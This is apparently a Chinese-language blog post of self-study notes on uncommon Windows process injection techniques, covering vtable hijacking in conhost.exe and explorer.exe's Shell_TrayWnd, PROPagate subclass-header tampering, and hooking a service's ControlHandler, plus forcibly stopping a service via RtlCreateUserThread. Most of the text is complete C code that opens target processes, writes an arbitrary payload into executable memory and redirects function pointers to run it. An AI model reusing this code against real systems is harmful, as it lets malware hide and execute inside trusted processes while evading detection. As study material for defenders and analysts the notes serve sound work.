进程注入 以下是自学习相关进程注入时写的笔记。 HOOK Conhost.exe中保存的ConsoleWindowClass窗口类的虚表控制台应用程序窗口所属于的窗口类为ConsoleWindowClass,窗口中保存的用户数据并不在控制台程序的地址空间之中,而在Conhost.exe之中。用户数据的第一个8字节或4字节中保存的是该类的虚表地址。
以修改ConHost中对于消息处理的虚函数表中的虚函数指针为手段,而Conhost.exe保存的用户数据在堆中是可写属性,导致了可以HOOK对应虚函数指针。
Windows不太常见的进程注入
这个是Conhost中保存的控制台窗口类行为的虚表原型: 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| typedef struct _vftable_t {
ULONG_PTR EnableBothScrollBars;
ULONG_PTR UpdateScrollBar;
ULONG_PTR IsInFullscreen;
ULONG_PTR SetIsFullscreen;
ULONG_PTR SetViewportOrigin;
ULONG_PTR SetWindowHasMoved;
ULONG_PTR CaptureMouse;
ULONG_PTR ReleaseMouse;
ULONG_PTR GetWindowHandle;
ULONG_PTR SetOwner;
ULONG_PTR GetCursorPosition;
ULONG_PTR GetClientRectangle;
ULONG_PTR MapPoints;
ULONG_PTR ConvertScreenToClient;
ULONG_PTR SendNotifyBeep;
ULONG_PTR PostUpdateScrollBars;
ULONG_PTR PostUpdateTitleWithCopy;
ULONG_PTR PostUpdateWindowSize;
ULONG_PTR UpdateWindowSize;
ULONG_PTR UpdateWindowText;
ULONG_PTR HorizontalScroll;
ULONG_PTR VerticalScroll;
ULONG_PTR SignalUia;
ULONG_PTR UiaSetTextAreaFocus;
ULONG_PTR GetWindowRect;
} ConsoleWindow;
|
通过GetWindowLongPtr(hwnd, GWLP_USERDATA);可以获取用户数据地址,然后通过常规的ReadProcessMemory、WriteProcessMemory、VirtualAllocEx即可将对应的虚函数做更改。
整体代码如下: 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
| VOID conhostInject(LPVOID payload, DWORD payloadSize) {
HWND hwnd;
LONG_PTR udptr;
DWORD pid, ppid;
SIZE_T wr;
HANDLE hp;
ConsoleWindow cw;
LPVOID cs, ds;
ULONG_PTR vTable;
// 1. 找到具有ConsoleWindowClass窗口类的窗口句柄
hwnd = FindWindow(L"ConsoleWindowClass", NULL);
//通过窗口句柄找到对应进程的PID
GetWindowThreadProcessId(hwnd, &ppid);
// 2. 通过对比进程名和父进程句柄找到Conhost进程的pid
pid = conhostId(ppid);
if (pid==0) {
printf("parent id is %ld\nunable to obtain pid of conhost.exe\n", ppid);
return;
}
// 3.打开conhost进程
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// 4. 在conhost进程中申请可读可写可执行的堆空间用于保存自己的payload
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 5. 找到ConsoleWindowClass窗口类中保存的虚函数地址
udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA);
ReadProcessMemory(hp, (LPVOID)udptr,
(LPVOID)&vTable, sizeof(ULONG_PTR), &wr);
// 6. 获取原本的虚表内容
ReadProcessMemory(hp, (LPVOID)vTable,
(LPVOID)&cw, sizeof(ConsoleWindow), &wr);
// 7. 在conhost进程中申请堆空间保存自定义的虚表内容。
ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 8. 将虚表中保存的GetWindowHandle更改为自己的payload地址,然后将虚表的内容写入进程。
cw.GetWindowHandle = (ULONG_PTR)cs;
WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr);
// 9. 将虚表指针hook
WriteProcessMemory(hp, (LPVOID)udptr, &ds,
sizeof(ULONG_PTR), &wr);
// 10. 发消息测试
SendMessage(hwnd, WM_SETFOCUS, 0, 0);
// 11. 更改为原来的虚表指针
WriteProcessMemory(hp, (LPVOID)udptr, &vTable,
sizeof(ULONG_PTR), &wr);
// 12. 释放内存。
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);
}
| HOOK Shell_TrayWnd窗口类的虚表可以看到explorer.exe之中具有窗口类。
Windows不太常见的进程注入
Windows不太常见的进程注入
和第一个没什么太大的不一样,唯一的区别是该窗口类的虚表常规的保存在创建窗口的进程之中。
原型: 1
2
3
4
5
6
7
8
9
10
| typedef struct _ctray_vtable {
ULONG_PTR vTable; // change to remote memory address
ULONG_PTR AddRef; // add reference
ULONG_PTR Release; // release procedure
ULONG_PTR WndProc; // window procedure (change to payload)
} CTray;
typedef struct _ctray_obj {
CTray *vtbl;
} CTrayObj;
|
代码: 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
| VOID extraBytes(LPVOID payload, DWORD payloadSize){
LPVOID cs, ds;
CTray ct;
ULONG_PTR ctp;
HWND hw;
HANDLE hp;
DWORD pid;
SIZE_T wr;
hw = FindWindow(L"Shell_TrayWnd", NULL);
GetWindowThreadProcessId(hw, &pid);
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
ctp = GetWindowLongPtr(hw, 0);
ReadProcessMemory(hp, (LPVOID)ctp,
(LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);
ReadProcessMemory(hp, (LPVOID)ct.vTable,
(LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
ds = VirtualAllocEx(hp, NULL, sizeof(ct),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
ct.vTable = (ULONG_PTR)ds + sizeof(ULONG_PTR);
ct.WndProc = (ULONG_PTR)cs;
WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr);
SetWindowLongPtr(hw, 0, (ULONG_PTR)ds);
PostMessage(hw, WM_CLOSE, 0, 0);
SetWindowLongPtr(hw, 0, ctp);
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);
}
| 与窗口子类化有关注入——PROPagate当窗口被子类化的时候,久的窗口过程并不会被删除,而是被存储在后台隐藏运行。存储的节点为UxSubclassInfo或者CC32SubclassInfo的属性之中;命名名称是根据comctl32.dll的版本来决定的。 1
2
| 版本6.x对应的名称是UxSubclassInfo;
版本5.x对应的名称是CC32SubclassInfo。
|
当使用SetWindowSubclass函数时,会调用SetProp 这个API会将旧的函数过程存储在UxSubclassInfo或者CC32SubclassInfo属性值中。当有对应的消息到来的时候,将会在子类化的窗口调用GetProp这个API获取旧的窗口过程并执行。(PS:以上是看资料总结的,总感觉理解上面有问题。如果有师傅比较较真的话,可以尝试自己子类化一个窗口,通过其句柄获取UxSubclassInfo属性,然后判断一下这个属性+0x18的偏移所保存的到底是旧的窗口过程还是新的窗口过程,还是说都有?只是调用的顺序不同?,如果有师傅做了实验的话不妨在下面告诉我一下,感激不尽)
这个属性的结构主要如下: 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| typedef struct _SUBCLASS_CALL {
SUBCLASSPROC pfnSubclass; // subclass procedure
WPARAM uIdSubclass; // unique subclass identifier
DWORD_PTR dwRefData; // optional ref data
} SUBCLASS_CALL, PSUBCLASS_CALL;
typedef struct _SUBCLASS_FRAME {
UINT uCallIndex; // index of next callback to call
UINT uDeepestCall; // deepest uCallIndex on stack
struct _SUBCLASS_FRAME *pFramePrev; // previous subclass frame pointer
struct _SUBCLASS_HEADER *pHeader; // header associated with this frame
} SUBCLASS_FRAME, PSUBCLASS_FRAME;
typedef struct _SUBCLASS_HEADER {
UINT uRefs; // subclass count
UINT uAlloc; // allocated subclass call nodes
UINT uCleanup; // index of call node to clean up
DWORD dwThreadId; // thread id of window we are hooking
SUBCLASS_FRAME *pFrameCur; // current subclass frame pointer
SUBCLASS_CALL CallArray[1]; // base of packed call node array
} SUBCLASS_HEADER, *PSUBCLASS_HEADER;
|
32位系统下可以看到在偏移0x18的处保存的窗口过程。
只需要在具有该窗口属性里的进程里将该回调函数进行HOOK,然后将其恢复即可,
在Win7和部分WIn10(最新版win10里没有)里经常使用该窗口,父类名Progman,子类名SHELLDLL_DefView。
Windows不太常见的进程注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
| VOID propagate(LPVOID payload, DWORD payloadSize) {
HANDLE hp, p;
DWORD id;
HWND pwh, cwh;
SUBCLASS_HEADER sh;
LPVOID psh, pfnSubclass;
SIZE_T rd,wr;
// 1. Obtain the parent window handle
pwh = FindWindow(L"Progman", NULL);
// 2. Obtain the child window handle
cwh = FindWindowEx(pwh, NULL, L"SHELLDLL_DefView", NULL);
// 3. Obtain the handle of subclass header
p = GetProp(cwh, L"UxSubclassInfo");
// GetProcessHandleFromHwnd
// 4. Obtain the process id for the explorer.exe
GetWindowThreadProcessId(cwh, &id);
// 5. Open explorer.exe
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
// 6. Read the contents of current subclass header
ReadProcessMemory(hp, (LPVOID)p, &sh, sizeof(sh), &rd);
// 7. Allocate RW memory for a new subclass header
psh = VirtualAllocEx(hp, NULL, sizeof(sh),
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
// 8. Allocate RWX memory for the payload
pfnSubclass = VirtualAllocEx(hp, NULL, payloadSize,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 9. Write the payload to memory
WriteProcessMemory(hp, pfnSubclass,
payload, payloadSize, &wr);
// 10. Set the pfnSubclass field to payload address, and write
// back to process in new area of memory
sh.CallArray[0].pfnSubclass = (SUBCLASSPROC)pfnSubclass;
WriteProcessMemory(hp, psh, &sh, sizeof(sh), &wr);
// 11. update the subclass procedure with SetProp
SetProp(cwh, L"UxSubclassInfo", psh);
// 12. Trigger the payload via a windows message
PostMessage(cwh, WM_CLOSE, 0, 0);
// 13. Restore original subclass header
SetProp(cwh, L"UxSubclassInfo", p);
// 14. free memory and close handles
VirtualFreeEx(hp, psh, 0, MEM_DECOMMIT | MEM_RELEASE);
VirtualFreeEx(hp, pfnSubclass, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);
}
| 通过HOOK服务的IDE来实现进程注入每个Windows服务都有一个“控制处理程序”以从操作系统接收控制代码。根据服务愿意接受的内容,可以查询,启动,停止,暂停或恢复服务的更常见控制代码。指向控制处理程序的指针存储在堆上的数据结构中,Microsoft将其称为“内部调度项”(IDE)。(PS:以上是谷歌翻译的结果,这个描述怎么这么像SCM???)
Win 7的IDE结构 1
2
3
4
5
6
7
8
9
10
11
| typedef struct _INTERNAL_DISPATCH_ENTRY {
LPWSTR ServiceName;
LPWSTR ServiceRealName;
LPSERVICE_MAIN_FUNCTION ServiceStartRoutine;
LPHANDLER_FUNCTION_EX ControlHandler;
HANDLE StatusHandle;
DWORD ServiceFlags;
DWORD Tag;
HANDLE MainThreadHandle;
DWORD dwReserved;
} INTERNAL_DISPATCH_ENTRY, *PINTERNAL_DISPATCH_ENTRY;
|
Win10的IDE结构 1
2
3
4
5
6
7
8
9
10
11
12
13
| typedef struct _INTERNAL_DISPATCH_ENTRY {
LPWSTR ServiceName;
LPWSTR ServiceRealName;
LPWSTR ServiceName2; // Windows 10
LPSERVICE_MAIN_FUNCTION ServiceStartRoutine;
LPHANDLER_FUNCTION_EX ControlHandler;
HANDLE StatusHandle;
DWORD64 ServiceFlags; // 64-bit on windows 10
DWORD64 Tag;
HANDLE MainThreadHandle;
DWORD64 dwReserved;
DWORD64 dwReserved2;
} INTERNAL_DISPATCH_ENTRY, *PINTERNAL_DISPATCH_ENTRY;
|
通过HOOK IDE的ControlHandler字段,可以实现进程注入。
具体方法为:通过服务名得到服务的进程相关信息;在服务的进程之中通过搜索内存比对IDE的ServiceRealName和传入的服务名参数来找到IDE;将IDE中的ServiceFlags修改为SERVICE_CONTROL_INTERROGATE;然后HOOK IDE中的ControlHandler,通过SCM向其发送SERVICE_CONTROL_INTERROGATE的控制码,触发被HOOK的函数;然后恢复。
具体代码如下: 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
| VOID SvcCtrlInject(PSERVICE_ENTRY se, LPVOID payload, DWORD payloadSize) {
SIZE_T wr;
SC_HANDLE hm, hs;
INTERNAL_DISPATCH_ENTRY ide;
HANDLE hp;
LPVOID cs;
SERVICE_STATUS ss;
wprintf(L" Attempting to inject PIC into \"%s\"...\n", se->process);
// open the service control manager
hm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
if (hm != NULL) {
// open target service
hs = OpenService(hm, se->service, SERVICE_INTERROGATE);
if (hs != NULL) {
// open target process
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, se->pid);
if (hp != NULL) {
// allocate memory for payload
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (cs) {
// write payload to process space
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// create backup of IDE
memcpy(&ide, &se->ide, sizeof(ide));
// point ControlHandler to payload
ide.ControlHandler = cs;
// change flags
ide.ServiceFlags = SERVICE_CONTROL_INTERROGATE;
// update IDE in remote process
WriteProcessMemory(hp, se->ide_addr, &ide, sizeof(ide), &wr);
// trigger payload
wprintf(L" Set a breakpoint on %p\n", cs);
getchar();
ControlService(hs, SERVICE_CONTROL_INTERROGATE, &ss);
xstrerror(L"ControlService");
// free payload from memory
VirtualFreeEx(hp, cs, payloadSize, MEM_RELEASE);
// restore original IDE
WriteProcessMemory(hp, se->ide_addr,
&se->ide, sizeof(ide), &wr);
} else xstrerror(L"VirtualAllocEx");
CloseHandle(hp); // close process
} else xstrerror(L"OpenProcess");
CloseServiceHandle(hs); // close service
} else xstrerror(L"OpenService");
CloseServiceHandle(hm); // close manager
}
}
|
其也可以通过远程创建线程的方式关闭服务。 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
| BOOL StopService(PSERVICE_ENTRY se){
DWORD evt;
HANDLE hThread, hProcess;
RtlCreateUserThread_t pRtlCreateUserThread;
BOOL bResult=FALSE;
wprintf(L" Attempting to stop service...\n");
hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, se->pid);
if(hProcess == NULL) {
xstrerror(L"StopService::OpenProcess");
return 0;
}
// resolve address of RtlCreateUserThread
// CreateRemoteThread won't work here..
pRtlCreateUserThread=
(RtlCreateUserThread_t)GetProcAddress(
LoadLibrary(L"ntdll"), "RtlCreateUserThread");
// got it?
if (pRtlCreateUserThread!=NULL) {
// execute the ControlHandler in remote process space
pRtlCreateUserThread(hProcess, NULL, FALSE,
0, NULL, NULL, se->ide.ControlHandler,
(LPVOID)SERVICE_CONTROL_STOP, &hThread, NULL);
bResult = (hThread != NULL);
// if thread created
if (bResult) {
// wait 5 seconds for termination
evt = WaitForSingleObject(hThread, 5*1000);
bResult = (evt == WAIT_OBJECT_0);
CloseHandle(hThread);
}
wprintf(L" Service %s stopped.\n",
bResult ? L"successfully" : L"unsuccessfully");
}
CloseHandle(hProcess);
return bResult;
}
|
参考文章 |